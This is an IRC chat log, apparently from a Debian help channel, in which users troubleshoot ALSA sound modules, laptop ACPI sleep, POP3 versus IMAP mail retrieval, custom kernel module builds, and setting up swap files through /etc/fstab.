| 13:58.54 | xoz | peterS: i have the same card. yep. |
| 13:59.03 | Danar | simplexe: try sudo hwinfo --sound |
| 13:59.13 | stew | ducky_: /msg dpkg source ; /msg dpkg debian/rules |
| 13:59.14 | PerfDave | ducky_: If you have to recompile, read the APT HOWTO on working with source packages. |
| 13:59.23 | peterS | xoz: I'll be. the ALi 5455 is supported by snd-intel8x0, but not the 5451. |
| 13:59.24 | D3v1L | some debian developer can sponsor me? in my country the debian developpers doesnt care about applicants |
| 13:59.29 | Lee__ | do I have ANY change to get ACPI sleep working with sarge + a recent Dell laptop? |
| 13:59.56 | stew | D3v1L: read nm.debian.org, subscribe to the debian-mentors mailing list |
| 13:59.58 | PerfDave | Lee__: You might need to modprobe the ACPI modules by hand, or add them to /etc/modules |
| 14:00.05 | D3v1L | stew thanks |
| 14:00.15 | xoz | simplexe: check you have these in lsmod, otherwise, modprobe each: snd-mixer-oss, snd-seq-device, snd-pcm-oss, snd-seq, snd-seq-oss |
| 14:00.22 | Lee__ | PerfDave: I assume the modules all begin with "acpi"? |
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| 14:00.55 | PerfDave | Lee__: They're the ones in /lib/modules/`uname -r`/kernel/drivers/acpi/ |
| 14:01.06 | Lee__ | oh, thanks. |
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| 14:01.46 | jonkri_ | if i have a pop3 account and evolution, is there a way for me to download all mails from a specific folder on that pop account? (i want the sent folder, tried move the mails to the inbox but that didn't work). thanks! |
| 14:01.51 | simplexe | xoz, modprobe returns can' locate moduel |
| 14:01.57 | Lee__ | PerfDave: they are loaded already, and the kernel says I have the "sleep button" recognized. |
| 14:02.03 | xoz | simplexe: which module? |
| 14:02.10 | simplexe | Danar, command not found |
| 14:02.17 | Danar | simplexe: apt-get it |
| 14:02.30 | Lee__ | but when I "echo standby > /sys/power/state" it is...uhhh, funny. |
| 14:02.34 | Danar | simplexe: sudo apt-get install hwinfo |
| 14:02.38 | PerfDave | jonkri_: Can you have folders on a pop3 account? |
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| 14:02.41 | simplexe | those ::snd-mixer-oss, snd-seq-device, snd-pcm-oss, snd-seq, snd-seq-oss |
| 14:02.53 | PerfDave | Lee__: Hmm, that's all I needed to do, then the KDE laptop stuff worked fine. |
| 14:02.55 | Lee__ | the screen goes black, then X restarts with a messed up screen buffer. |
| 14:03.02 | jonkri_ | PerfDave i don't know :) i can on the webmail, but when i use pop3 to download the mail i only get the mails in the inbox (i think) |
| 14:03.21 | xoz | simplexe: i assume you are using kernel 2.6. |
| 14:03.29 | PerfDave | jonkri_: Have you tried using IMAP to access your mail instead of POP3? |
| 14:03.36 | stew | Lee__: have you looked at pages for your laptop from tuxmobile.org? |
| 14:03.37 | simplexe | yes i think |
| 14:03.48 | jonkri_ | PerfDave i only have pop3 login data |
| 14:03.51 | Lee__ | stew: nope, I wasn't aware of that web page. I'll check it. |
| 14:03.52 | PerfDave | jonkri_: Your webmail is almost certainly acting as an IMAP client; I'm almost certain that POP3 doesn't support folders. |
| 14:03.55 | xoz | simplexe: modprobe snd-mixer-oss ... you should do this one by one. |
| 14:04.00 | PerfDave | jonkri_: Try using the same login details with IMAP? |
| 14:04.15 | stew | Lee__: also http://www.linux-laptop.net/ |
| 14:04.20 | simplexe | yes but it returns me can' locate module |
| 14:04.26 | xoz | simplexe: not by doing all of them in one line. |
| 14:04.42 | simplexe | yes :) |
| 14:04.50 | stew | jonkri_: pop3 doesn't have any facility subfolders |
| 14:04.51 | Lee__ | jonkri_: POP3 supports folders on the client side. |
| 14:05.03 | Lee__ | but at that point, it's local mail. |
| 14:05.12 | stew | Lee__: pop3 doesn't support folders at all |
| 14:05.16 | Lee__ | IMAPS is the bomb. |
| 14:05.25 | simplexe | Danar, it returns noth |
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| 14:06.07 | Lee__ | how many times do I get asked "so it's like Exchange" whilst describing IMAP to co-workers? Too many. |
| 14:06.14 | jonkri_ | PerfDave will do |
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| 14:06.21 | jonkri_ | stew, Lee__ ok, thanks |
| 14:06.25 | simplexe | peterS, simplexe: so load the i810_audio module and be happy << where ?? |
| 14:06.48 | Lee__ | simplexe: you are trying to get sound working with sarge? |
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| 14:06.57 | klussier | anyone know when Debian will be stable for Xeon 64? |
| 14:07.11 | peterS | simplexe: no, don't listen to me. load 'snd-ali5451' and 'snd-pcm-oss'. |
| 14:07.16 | LSorensen | klussier: which definition of stable? |
| 14:07.19 | xoz | simplexe: what about alsaconf? it should be able to detect this card |
| 14:07.21 | peterS | simplexe: that is: modprobe snd-ali5451; modprobe snd-pcm-oss |
| 14:07.24 | PerfDave | klussier: Define "stable". There's a stable branch for amd64, which should run on a Xeon 64. |
| 14:07.25 | simplexe | lee |
| 14:07.38 | lee | simplexe? |
| 14:07.40 | LSorensen | xoz: I find alsaconf often doesn't work. adding the alsa driver manually to /etc/modules seems better |
| 14:07.41 | klussier | Perf.. doesn't unfortunately |
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| 14:07.50 | LSorensen | klussier: why doesn't it? |
| 14:07.56 | klussier | Perf... I've tried 5 variants, only thing working so far is Fedora |
| 14:07.58 | LSorensen | klussier: doesn't boot? installer doesn't work? |
| 14:08.02 | PerfDave | klussier: Well, what do you mean, "it doesn't"? Have you tried asking #debian-amd64? |
| 14:08.06 | PerfDave | !doesn't work |
| 14:08.06 | dpkg | Look buddy, doesn't work is an ambiguous statement. Does it sit on the couch all day? Does it want more money? Does it waste its time on IRC all day long? Please be specific! Define 'it' and what it isn't doing. |
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| 14:08.26 | xoz | LSorensen: for this card which happens to be similar to mine, it works. yep, it may not work to some, however. |
| 14:08.34 | Danar | simplexe: sudo hwinfo --all > hwinfo.txt && cat hwinfo.txt | grep snd |
| 14:08.41 | klussier | LSorensen, depends on the release, in case of normal debian, it can't find any of the drives / CD-ROM on boot up |
| 14:08.43 | peterS | xoz: alsaconf is a great idea, but from listening on #debian for awhile, I have developed this abiding distrust of it. people always say "I tried alsaconf and it didn't work" |
| 14:08.44 | LSorensen | xoz: what card do you have that it isn't working for? |
| 14:08.52 | peterS | Danar: wtf? |
| 14:08.54 | LSorensen | klussier: what kind of machine? |
| 14:08.55 | klussier | ubuntu can, but it crashes after startup |
| 14:09.05 | Lee__ | peterS: I've tried alsaconf and it worked every time. |
| 14:09.08 | klussier | Dual Xeon-64 3.6Ghtz |
| 14:09.09 | simplexe | Danar, i did it |
| 14:09.14 | xoz | LSorensen: ali5451 is properly configured by alsaconf. |
| 14:09.15 | LSorensen | klussier: is it a dell? |
| 14:09.16 | PerfDave | klussier: Define "normal debian" - i386 or amd64 |
| 14:09.19 | Danar | simplexe: get any output? |
| 14:09.23 | simplexe | noth |
| 14:09.24 | Lee__ | alsaconf is better than rebooting |
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| 14:09.33 | Danar | peterS: er, nothing |
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| 14:09.55 | klussier | no, Intel box. |
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| 14:10.06 | LSorensen | klussier: hmm. what kind of drives? |
| 14:10.11 | xoz | peterS: i think alsaconf may be working for me because of udev? |
| 14:10.30 | LSorensen | klussier: ide/scsi/sata? |
| 14:10.33 | klussier | LS, SCSI HD, with IDE DVD-ROM |
| 14:10.34 | peterS | xoz: I have zero clue why alsaconf works for you but fails for all the people who complain about it on #debian |
| 14:10.37 | klussier | atapi I think |
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| 14:10.48 | RedDrake | hello |
| 14:10.56 | stew | xoz: afaik, udev doesn't have the ability to make things work that wouldn't otherwise |
| 14:11.07 | xoz | peterS: ok, i'll check simplexe because we have similar card. |
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| 14:11.08 | klussier | LS... yeah |
| 14:11.20 | peterS | xoz: when people ask about sound I find it's much easier to just have them load modules by hand, and stick 'em in /etc/modules, so they don't have to worry about whether alsaconf will work |
| 14:11.21 | simplexe | ok xoz |
| 14:11.32 | LSorensen | klussier: well you can try my amd64 debian install cd if you want which has 2.6.11 or 2.6.12 kernel which supports a bunch more hardware than the 2,6.8 kernel sarge shipped with. A number of people have managed to install on Dell Xeon 64 machines with it that couldn't install with the normal cd |
| 14:11.41 | xoz | simplexe: try alsaconf... please? |
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| 14:11.43 | Lee__ | peterS: hotplug gets sound 99% of the time in my experience. |
| 14:11.52 | Lee__ | !alsa |
| 14:11.53 | dpkg | On Sarge with a 2.6 kernel, to use ALSA, apt-get install alsa-utils discover1. You may need to run alsaconf too. No more faffing about with OSS modules. Remember to tell your applications and libraries to use alsa, to get any benefit. |
| 14:11.53 | jonkri_ | PerfDave could not connect to imap server |
| 14:12.01 | xoz | peterS: plus poerhaps hotplug |
| 14:12.04 | simplexe | xoz, comamnd not found |
| 14:12.05 | PerfDave | jonkri_: Oh well, you're probably fucked then :) |
| 14:12.05 | xoz | *perhaps |
| 14:12.17 | PerfDave | jonkri_: Ask your mail provider for help. |
| 14:12.24 | xoz | simplexe: apt-get install alsaconf |
| 14:12.26 | klussier | LS, yeah that would be sweet |
| 14:12.30 | klussier | i'd love to get debian on this box |
| 14:12.31 | jonkri_ | PerfDave ok. what if i use a spider and store my entire web interface? |
| 14:12.40 | PerfDave | jonkri_: What would be the point of that? |
| 14:12.46 | VivekVC | how do i set wordwrap in gedit |
| 14:12.50 | klussier | as it is I'm installing fedora now |
| 14:12.50 | jonkri_ | PerfDave i would at least have my mail when my account expire |
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| 14:12.56 | stew | dpkg: alsa is also also read http://www.linuks.mine.nu/debian-faq-wiki/UseSoundCard |
| 14:12.56 | dpkg | stew: okay |
| 14:13.02 | xoz | simplexe: apt-get install alsa-utils |
| 14:13.11 | simplexe | ok |
| 14:13.16 | PerfDave | jonkri_: Why not use the webmail interface to move the mails into the inbox and collect them with POP3? |
| 14:13.23 | PerfDave | jonkri_: Or ask your mail provider for support. |
| 14:13.23 | LSorensen | klussier: http://www.tinyplanet.ca/~lsorense/amd64/ |
| 14:13.25 | VivekVC | I would like to set each line limit to 70 alphabets. |
| 14:13.48 | LSorensen | klussier: check the readme file, then decide if you want to try 2.6.11 or 2.6.12. both have been tested by a few people successfulyl so far. |
| 14:14.16 | Lee__ | I'm running 2.6.12 built with the 2.6.8 config from sarge and make-kpkg. Working good. |
| 14:14.23 | FieldySnuts | dpkg: date Phated |
| 14:14.26 | LSorensen | klussier: the url for the amd64 packages is amd64.debian.net in dir /debian. I don't believe that is in the url list it offers so you have to enter it manually. should be in the amd64 howto. |
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| 14:14.58 | LSorensen | Lee__: yeah, just have to get the system installed first, which is what some people have trouble with on really new machines :) |
| 14:15.08 | RedDrake | this will sound stupid: I get this message when trying to compile a module for my kernel, but it just doesn't make sense: |
| 14:15.11 | RedDrake | make: *** /lib/modules/2.6.12.3-mioc2.1/build: Not a directory. Stop. |
| 14:15.27 | RedDrake | directory build never even existed there.. :S |
| 14:15.33 | Lee__ | ha ha. I had that problem with a SATA controller and an old Sarge testing release. |
| 14:15.33 | PerfDave | !wayc RedDrake |
| 14:15.34 | dpkg | RedDrake: Why are you compiling instead of using apt-get? |
| 14:15.34 | RedDrake | it is just an empty file... |
| 14:15.52 | klussier | LS - sweet, I'm snagging |
| 14:15.56 | Vibhuti | configuring network interfaces...../etc/network/interfaces:17:option with empty value |
| 14:16.01 | RedDrake | PerfDave: if you have apt-get for drivers for USB webcams, I'm ready |
| 14:16.02 | RedDrake | :) |
| 14:16.02 | Lee__ | RedDrake: you appended a local version to your kernel. do you understand the consequences of that? |
| 14:16.13 | Vibhuti | ifup couldnt read interfaces file |
| 14:16.16 | PerfDave | RedDrake: Depends on the USB webcam ;) |
| 14:16.18 | Vibhuti | what does this mean |
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| 14:16.30 | RedDrake | Lee__: no |
| 14:16.33 | Vibhuti | if i give ifconfig it returns nothing |
| 14:16.37 | RedDrake | as I only ever followed instructions |
| 14:16.39 | Lee__ | !tell Vibhuti about networking |
| 14:16.57 | PerfDave | RedDrake: Which drivers are you using? ov511? qc-usb? nw802? |
| 14:16.57 | f00bar_ | is ftp-master back up yet? |
| 14:17.09 | Lee__ | RedDrake: try again leaving the "append local version" config option blank |
| 14:17.15 | Vibhuti | this is the message i get while initial booting configuration |
| 14:17.26 | simplexe | xoz, can i paste a 4 lines errors here ?? |
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| 14:17.31 | RedDrake | PerfDave: spca5xx |
| 14:17.34 | peterS | f00bar_: why do you ask? |
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| 14:17.48 | PerfDave | RedDrake: Hmm, that doesn't seem to be packaged for Debian. Feel free to package it though :) |
| 14:17.54 | RedDrake | Lee__: I cannot, the kernel is very much custom (1.6M only) |
| 14:17.54 | xoz | simplexe: /j #flood |
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| 14:17.58 | PerfDave | RedDrake: I assume you're using a custom kernel rather than a provided Debian one. |
| 14:17.58 | Lee__ | to my knowledge, there is no kernel.org archive called 2.6.12.3-mioc2.1 |
| 14:18.03 | f00bar_ | peterS: I was keeping track of the packages going into testing |
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| 14:18.05 | RedDrake | yes. |
| 14:18.14 | Lee__ | RedDrake: why can you not? it's just a string. |
| 14:18.19 | peterS | f00bar_: the ftp-master service has not been restored yet |
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| 14:18.30 | f00bar_ | peterS: ok, thanks |
| 14:18.36 | PerfDave | RedDrake: I suggest you read the kernel documentation more closely then, if you're going to fuck around with custom kernels ;) |
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| 14:18.48 | peterS | f00bar_: it's expected later today. the machine is online, the data is there, it's just a matter of moving the data to another machine and setting it up |
| 14:18.50 | RedDrake | because it would then have the same name as the default kernel |
| 14:18.57 | jonkri_ | PerfDave about moving the mail to the inbox... i did that! but evolution wouldn't download them |
| 14:19.03 | peterS | f00bar_: the data must be moved because the machine it's on now won't be online forever |
| 14:19.05 | Lee__ | RedDrake: the default kernel for sarge is 2.6.8-2 |
| 14:19.13 | jonkri_ | PerfDave i have no idea why... but then again i don't understand pop... |
| 14:19.15 | K_Dallas | is it? |
| 14:19.16 | RedDrake | well, it doesn't work with the standar 2.6.8-2 kernel either :O |
| 14:19.20 | PerfDave | jonkri_: Hmm, strange. Sorry, I don't use evolution. |
| 14:19.26 | Lee__ | so build a new one and don't give it a local version! |
| 14:19.32 | K_Dallas | Lee__, i thought it was 2.4.... |
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| 14:19.45 | Lee__ | there is no "default" 2.6.12.3 kernel in Debian. |
| 14:19.46 | jonkri_ | PerfDave can you imagine a reason why my mail client wouldn't download them? |
| 14:19.47 | K_Dallas | at least that is what has installed on my system |
| 14:20.01 | jonkri_ | PerfDave i mean, they're new... |
| 14:20.03 | PerfDave | jonkri_: I can imagine several thousand reasons why your mail client won't download them ;) |
| 14:20.04 | RedDrake | Lee__: true :) |
| 14:20.19 | Lee__ | K_Dallas: you can install with linux26 at the boot prompt and get a 2.6 kernel by default |
| 14:20.29 | K_Dallas | good to know, thanks a lot |
| 14:20.32 | PerfDave | jonkri_: They might not be new from the mail server's perspective. |
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| 14:20.48 | jonkri_ | PerfDave i thought of that as well, but i marked them as nwe |
| 14:21.06 | PerfDave | jonkri_: Marked them as new where? |
| 14:21.06 | RedDrake | make: *** /lib/modules/2.6.8-2-686/build: Not a directory. Stop. |
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| 14:21.14 | RedDrake | this kernel is from apt-get |
| 14:21.15 | RedDrake | ... |
| 14:21.48 | jonkri_ | PerfDave in the web interface. i used a "mark as unread" function... but that didn't make a difference... i guess they're not new, new |
| 14:21.51 | LSorensen | RedDrake: did you install the kernel-headers package matching the kernel? |
| 14:21.52 | PerfDave | RedDrake: Have you seen whether any package provides /lib/modules/2.6.8-2-686/build ? |
| 14:21.59 | Lee__ | RedDrake: here's what's working for me: download and extract source from kernel.org. cp /boot/Config-your-running-kernel-version /usr/src/kernel-source; make mrproper; make oldconfig; make-kpkg kernel_image. |
| 14:22.03 | LSorensen | RedDrake: the build link is a symlink to what the kernel-headers provides |
| 14:22.04 | PerfDave | jonkri_: Have you tried telling Evolution to download *all* mail? |
| 14:22.21 | ralf | http://bjorn.haxx.se/debian/ should be updated hourly, but it isn't |
| 14:22.22 | RedDrake | LSorensen: thank you |
| 14:22.23 | rmac | <PROTECTED> |
| 14:22.32 | Vibhuti | guys |
| 14:22.34 | ralf | now that ftp-master is back online |
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| 14:22.57 | jonkri_ | PerfDave i've been looking around for something like that but havn't found anything |
| 14:22.59 | RedDrake | And if you know, what must I do with a custom kernel in this occassion? |
| 14:23.05 | peterS | ralf: is it now? the machine is, but is the service back? |
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| 14:23.26 | Lee__ | RedDrake: if you mess with a kernel and don't know what your doing, you will probably break something. best to try it on a machine you don't care about that much. |
| 14:23.27 | Vibhuti | configuring network interfaces...../etc/network/interfaces:17:option with empty value |
| 14:23.32 | PerfDave | jonkri_: *shrug* Sorry, I don't use evolution. |
| 14:23.44 | ralf | incoming.debian.org is online |
| 14:23.45 | RedDrake | Lee__: I can break it |
| 14:23.48 | Vibhuti | ifup couldnt read interfaces file |
| 14:23.54 | RedDrake | no problem with that :) |
| 14:23.58 | PerfDave | Vibhuti: man interfaces |
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| 14:24.03 | ralf | yep, it holds oldpackages |
| 14:24.04 | RedDrake | I have it back and running in 3 minutes |
| 14:24.07 | Vibhuti | file name problem |
| 14:24.11 | jonkri_ | PerfDave yeah, i understand. but something tells me that no other mail client would recieve them as well... at least it seems like the mail server doesn't say to the mail client to download them |
| 14:24.23 | jonkri_ | if only i could have an mbox file or something... |
| 14:24.26 | PerfDave | jonkri_: It's not up to the mail server. You could try using fetchmail. |
| 14:24.27 | Lee__ | RedDrake: and it sounds like you have. |
| 14:24.37 | RedDrake | Not yet :S |
| 14:24.44 | PerfDave | jonkri_: If you're sure it's not a client issue, contact the support for your mail provider. |
| 14:24.46 | RedDrake | But I'm on a good path :D |
| 14:24.51 | xoz | if i have a two files a and b and i want to output terms in b not in a list of terms, is there a cool script for this? |
| 14:24.55 | RedDrake | Thank you all for the help |
| 14:24.59 | Lee__ | have fun! |
| 14:25.01 | Vibhuti | he guys |
| 14:25.14 | jonkri_ | PerfDave i did... they don't know what to do... they only told me to save each message with a copy paste method.... :( |
| 14:25.15 | xoz | *not in a's list of terms |
| 14:25.27 | Lee__ | Vibhuti: man interfaces!!!!! |
| 14:25.27 | PerfDave | jonkri_: Get a better mail provider ;) |
| 14:25.32 | PerfDave | xoz: Sort them both and use diff? |
| 14:25.50 | jonkri_ | PerfDave i have. myself on my own server. still, my mails are lost |
| 14:26.01 | PerfDave | jonkri_: Try using fetchmail |
| 14:26.07 | jonkri_ | PerfDave yes |
| 14:26.11 | PerfDave | jonkri_: Or some other mail client. or ask #evolution or something. |
| 14:26.12 | jonkri_ | thanks PerfDave |
| 14:26.33 | Vibhuti | can u please elaborate |
| 14:26.34 | PerfDave | jonkri_: No worries. Best of luck. Remember, IMAPS is the future :) |
| 14:26.37 | xoz | PerfDave: thnx. i'll check |
| 14:26.43 | Vibhuti | i am new to linux and debian |
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| 14:27.07 | jonkri_ | PerfDave yeah |
| 14:27.07 | PerfDave | Vibhuti: You've made an error in your /etc/network/interfaces file, which means that ifup can't bring up your network interface. "man 5 interfaces" is the command to read the manual page for that file, which will help you see where you've gone wrong. |
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| 14:27.26 | Vibhuti | ok |
| 14:27.29 | Vibhuti | thks |
| 14:27.32 | Vibhuti | let me check |
| 14:27.55 | wombachi | Vibhuti look at lines around line 17 in that file |
| 14:28.16 | jonkri_ | PerfDave now this looks funny: fetchmail: couldn't find canonical DNS name of mail1.webadmin.net (mail1.webadmin.net)... |
| 14:28.25 | jonkri_ | what does that mean? :D |
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| 14:28.58 | PerfDave | jonkri_: Uhm, are you sure that's spelt correctly? There's no such domain name as mail1.webadmin.net |
| 14:29.00 | Lee__ | jonkri_: what does "host mail1.webadmin.net" output? |
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| 14:29.27 | jonkri_ | oh, it was mail1.webadmin1.net... :( sorry guys |
| 14:29.48 | xoz | diff can't eliminate repeated occurences |
| 14:30.01 | PerfDave | xoz: sort, uniq, diff :) |
| 14:30.05 | Lee__ | this is strange: installing a package suggest a package named "kernel-patch-suspend2", yet that package isn't in sarge. |
| 14:30.15 | peterS | xoz: when PerfDave says sort, uniq, he means sort -u which does both in one step |
| 14:30.35 | PerfDave | peterS: Ooh, is that a GNUism? |
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| 14:30.39 | xoz | peterS, peterS: ah. back to simulation mode :) |
| 14:30.42 | peterS | PerfDave: not sure. I've used it for years |
| 14:31.09 | jonkri_ | PerfDave it's standard unix |
| 14:31.12 | jonkri_ | PerfDave i think |
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| 14:31.13 | PerfDave | peterS: Fair enough, I can't think why I didn't know about it before ;) |
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| 14:31.23 | amorph | hi guys |
| 14:31.29 | jonkri_ | amorph heya |
| 14:31.33 | simplexe | xoz, are u with me ? |
| 14:31.34 | amorph | is tmpfs the same as swap? |
| 14:31.41 | peterS | PerfDave: I don't *think* it's a gnuism. I think I've used it on other random unixes. but I can't swear to it |
| 14:31.47 | peterS | amorph: more or less |
| 14:31.52 | Lee__ | amorph: no, it's RAM. |
| 14:31.55 | peterS | amorph: actually no, not the way you are asking |
| 14:31.56 | amorph | oh |
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| 14:32.12 | amorph | i seem to have no swap partition on my system |
| 14:32.12 | peterS | amorph: tmpfs is a filesystem you can read and write, which happens to use RAM and swap as its storage |
| 14:32.13 | Lee__ | but it can be swaped out, I think. |
| 14:32.16 | PerfDave | peterS: Fair enough. I learned on SunOS, so a lot of the things in Linux that I don't know like that are GNUisms ;) |
| 14:32.22 | amorph | oh i see |
| 14:32.23 | peterS | PerfDave: yeah |
| 14:32.23 | jonkri_ | PerfDave fetchmail: No mail for cu-34m7dc.1 at mail1.webadmin1.net :( |
| 14:32.25 | amorph | PeterS thanks |
| 14:32.27 | PerfDave | peterS: I think it's just me being ignorant in this case :) |
| 14:32.33 | xoz | simplexe: check that oss driver is not loaded because it conflicts with alsa |
| 14:32.41 | Lee__ | amorph: write a big empty file to it and see your RAM dissapear! it's fun. |
| 14:32.44 | petemc | solaris sort has a -u option |
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| 14:32.48 | amorph | how would one mount the swap partition and get the system to use it? |
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| 14:32.55 | PerfDave | jonkri_: :( |
| 14:32.58 | Lee__ | amorph: man mount |
| 14:33.04 | amorph | i can mount it |
| 14:33.05 | PerfDave | petemc: Bah, newfangled Solaris nonsense! :) |
| 14:33.12 | valdyn | amorph: swap cannot be mounted |
| 14:33.13 | amorph | but i dunno how to tell the system to start using swap |
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| 14:33.17 | amorph | oh |
| 14:33.18 | peterS | PerfDave: just confirmed sort -u on netbsd |
| 14:33.23 | amorph | im screwed then? |
| 14:33.26 | Lee__ | amorph: man fstab |
| 14:33.26 | petemc | PerfDave: solaris 8 |
| 14:33.27 | valdyn | amorph: cat /proc/swaps |
| 14:33.31 | amorph | ok |
| 14:33.43 | PerfDave | petemc: Newfangled! :) |
| 14:33.47 | petemc | heh :) |
| 14:33.51 | amorph | valdyn: nothing :-/ |
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| 14:34.02 | peterS | PerfDave,petemc: this is pretty cool, three of us pe* in one conversation |
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| 14:34.09 | valdyn | amorph: swapon /dev/whatever |
| 14:34.09 | petemc | heh, true |
| 14:34.16 | peterS | nick completion must be fun for people right now |
| 14:34.17 | petemc | get peterB in on the action |
| 14:34.19 | amorph | ok thanks valdyn |
| 14:34.25 | PerfDave | OK, I admit defeat in this case, I was just ignorant for not knowing about sort -u :) |
| 14:34.48 | peterS | PerfDave: I learn the strangest little unix trivia sometimes, things I should have known years ago but didn't. so this doesn't strike me as odd at all |
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| 14:35.18 | amorph | valdyn: why doesnt swap show when you do df |
| 14:35.34 | peterS | amorph: swap isn't a filesystem. use 'free' or 'cat /proc/swaps' |
| 14:35.35 | Lee__ | amorph: cause it's swap. try "free -m" |
| 14:35.40 | valdyn | amorph: b/c df shows only filesystems |
| 14:35.44 | amorph | aha |
| 14:35.52 | amorph | thanks guys |
| 14:35.52 | xoz | the problem with sort -u is that it removes repeated occurences of other terms not in file A. i need their frequency so uniq or -u will affect their freqs. |
| 14:36.12 | peterS | amorph: swap can be specified in /etc/fstab but that's the only way it relates to filesystems. 'mount' ignores swap entries, just as 'swapon' ignores non-swap entries |
| 14:36.14 | valdyn | amorph: you still might want to add an appropriate entry for your swap partition to /etc/fstab |
| 14:36.17 | xoz | maybe, i'll just code in C++ or perl. |
| 14:36.18 | rares000 | because you can't free swap by deleting individual files |
| 14:36.24 | PerfDave | xoz: Why don't you tell us *exactly* what you need, and we'll try to help. Or ask #bash who might be more useful : |
| 14:36.28 | amorph | i think i need to specify it in fstab |
| 14:36.50 | peterS | amorph: note, you don't have to use swap *partitions*. swap *files* are handier because they're easy to allocate, resize, and delete |
| 14:36.52 | amorph | ive been using my system without swap for a while and wondered why it kept crashing when loading web pages heh |
| 14:37.05 | amorph | oh |
| 14:37.11 | Lee__ | amorph: how did you install Debian? |
| 14:37.24 | peterS | amorph: swap files work the same as swap partitions except for how you create them - you just have to create them the size you want, however you wish, then run 'mkswap /your/filename' before use |
| 14:37.25 | wombachi | xoz what are you trying to do ? perhaps something like | sort -rn | uniq -c ? |
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| 14:37.33 | amorph | I must of had a swap originally cuz the partition is there but dunno why my workstation stopped using it |
| 14:38.14 | amorph | i installed from sarge cd |
| 14:38.21 | Lee__ | peterS: I never thought of using a swap file. that's a good idea. how are you mounting/unmounting at boot/halt? |
| 14:38.42 | Lee__ | amorph: than you should have been prompted to make a swap partition and it should have been set up properly. |
| 14:38.46 | peterS | Lee__: /etc/fstab: /data/swap0 swap swap defaults 0 0 |
| 14:38.57 | amorph | yes you are right |
| 14:39.00 | peterS | Lee__: exactly the same as specifying a swap partition |
| 14:39.12 | xoz | PerfDave: i have a stopword file and a document file for keyword analysis. i want to remove noise words like "a, an, the" using the stopword file so that the document will have the remaining important terms... and then, i'll count the freqs of their occurences and analyze their tf-idf (term-freq, inverse document frequency) |
| 14:39.12 | Lee__ | peterS: and you create it with dd and format with mkswap prior? |
| 14:39.13 | amorph | no entry in my fstab for swap, how strange |
| 14:39.26 | peterS | Lee__: yeah. dd is the simplest way to get it the right size, then you just mkswap it |
| 14:39.42 | xoz | wombachi: ^^^ |
| 14:39.45 | Lee__ | that's awesome! |
| 14:40.05 | amorph | can someone show me how an entry in fstab for swap should look? |
| 14:40.19 | peterS | Lee__: theoretically if your filesystem is near-full and the swapfile ends up highly fragmented, you'll get lousy performance. in practice - just create the file early on in life before your root filesystem (or whatever filesystem) gets very full, and you won't have that problem |
| 14:40.26 | valdyn | !swap |
| 14:40.26 | dpkg | well, swap is still a useful and good thing to have, even with lots of available memory: http://sourcefrog.net/weblog/software/linux-kernel/swap.html |
| 14:40.28 | peterS | amorph: /data/swap0 swap swap defaults 0 0 |
| 14:40.33 | amorph | thanks peterS |
| 14:40.35 | peterS | amorph: that's mine. /data/swap0 is a regular file |
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| 14:40.52 | valdyn | peterS: theres a mountpoint 'swap' now? |
| 14:41.08 | valdyn | peterS: 'none' seems right. |
| 14:41.11 | peterS | valdyn: no. since it's type "swap", mount ignores it. 'swapon -a' (run at boot time) reads it |
| 14:41.24 | peterS | valdyn: yeah, the mountpoint field is ignored if the type is 'swap' |
| 14:41.29 | amorph | cool |
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| 14:41.36 | valdyn | peterS: alright. |
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| 14:41.59 | tosh | anyone experienced with xdm theming? trying to set the background color using different themes but nothing works |
| 14:41.59 | amorph | ive just purchased 6 TV/vid cards |
| 14:42.13 | sideone | is there a way to apt links2 without xfree86 support? |
| 14:42.54 | peterS | sideone: it's not like libx11-6 is huge. it does no harm |
| 14:43.22 | peterS | sideone: but if you want a links without libx11-6, you can install elinks. it has *more* dependencies and will bloat your system more, but at least there will be no evil graphics library |
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| 14:43.32 | sideone | well it installs the xfree86 binaries, i dont want x on this box. |
| 14:43.57 | valdyn | !depends link2 |
| 14:43.58 | valdyn | !depends links2 |
| 14:44.01 | peterS | sideone: it does not. it installs libx11-6, which is a simple client library. the XFree86 binaries you must be getting somewhere else |
| 14:44.03 | dpkg | links2: depends on libc6 (>= 2.3.2.ds1-21), libdirectfb-0.9-20, libgpmg1 (>= 1.19.6-1), libjpeg62, libpng12-0 (>= 1.2.8rel), libsvga1, libtiff4, libx11-6 | xlibs (>> 4.1.0), zlib1g (>= 1:1.2.1) |
| 14:44.21 | xoz | !info xlibs |
| 14:44.27 | dpkg | xlibs: (X Window System client libraries metapackage and XKB data), section libs, is optional. Version: 6.8.2.dfsg.1-4 (sid), Packaged size: 463 kB, Installed size: 3080 kB |
| 14:44.32 | wombachi | xoz : it's quite simple in Perl. something like this : Read stopwords in a %hash. Then read file, split to @words, if not $hash{$word} then $count{$word}++ |
| 14:45.04 | xoz | wombachi: yep. i think i'll have to use <map> template in C++ or hashing in perl. |
| 14:45.37 | peterS | sideone: well, correction, libx11-6 ends up pulling in x11-common, xlibs-data, xfree86-common. none of those are terribly disruptive either |
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| 14:45.56 | wombachi | xoz If you know Perl, it will be much easier/quicker than in C/C++ |
| 14:45.58 | sideone | wont it install the X binaries as well? |
| 14:46.08 | peterS | sideone: what package are you concerned about? |
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| 14:46.21 | sideone | X in general |
| 14:46.23 | peterS | sideone: "the X binaries" is too vague, there are too many of them |
| 14:46.31 | peterS | sideone: please tell us which X binaries are bothering you |
| 14:46.50 | xoz | wombachi: yep but i don't know if perl's hashing could manage about 50G of docs :) |
| 14:47.08 | sideone | peter, i apolgize for being so vague. |
| 14:47.30 | xoz | wombachi: but words are repeated so maybe it's not that large. |
| 14:47.31 | useruser | xoz: j="$(echo $(cat)|sed -e 's/[[:space:]][[:space:]]*/\n/g')"; for i in $stopwords; do j=$(echo "$j"|grep -v $i); done |
| 14:47.32 | sideone | i am building a server, and like the 'clickable' features of links2 from a ssh session |
| 14:47.53 | sideone | however, i didnt want to build any part of x on the system, maybe the headers/libs if needed |
| 14:48.01 | peterS | sideone: elinks has the same clickable thing, but no X dependencies at all. it *does* include lua50 dependencies, which might annoy you as well. |
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| 14:48.05 | sideone | but i really dont want x on here. |
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| 14:48.14 | sideone | lua, the scripting lang? |
| 14:48.16 | ma3x | what means RFB 003.003 |
| 14:48.16 | peterS | yes |
| 14:48.19 | sideone | ok. |
| 14:48.22 | sideone | thats not bad |
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| 14:48.24 | ma3x | i get that when i connect to my remote desktop |
| 14:48.28 | sideone | jsut have a thing about grfx. |
| 14:48.30 | useruser | xoz: erm, grep -v ^$i$ or something will be better |
| 14:48.33 | sideone | or desktop env. |
| 14:48.39 | sideone | thanks so much for the help peter. |
| 14:48.43 | xoz | useruser: that's a nice hack. |
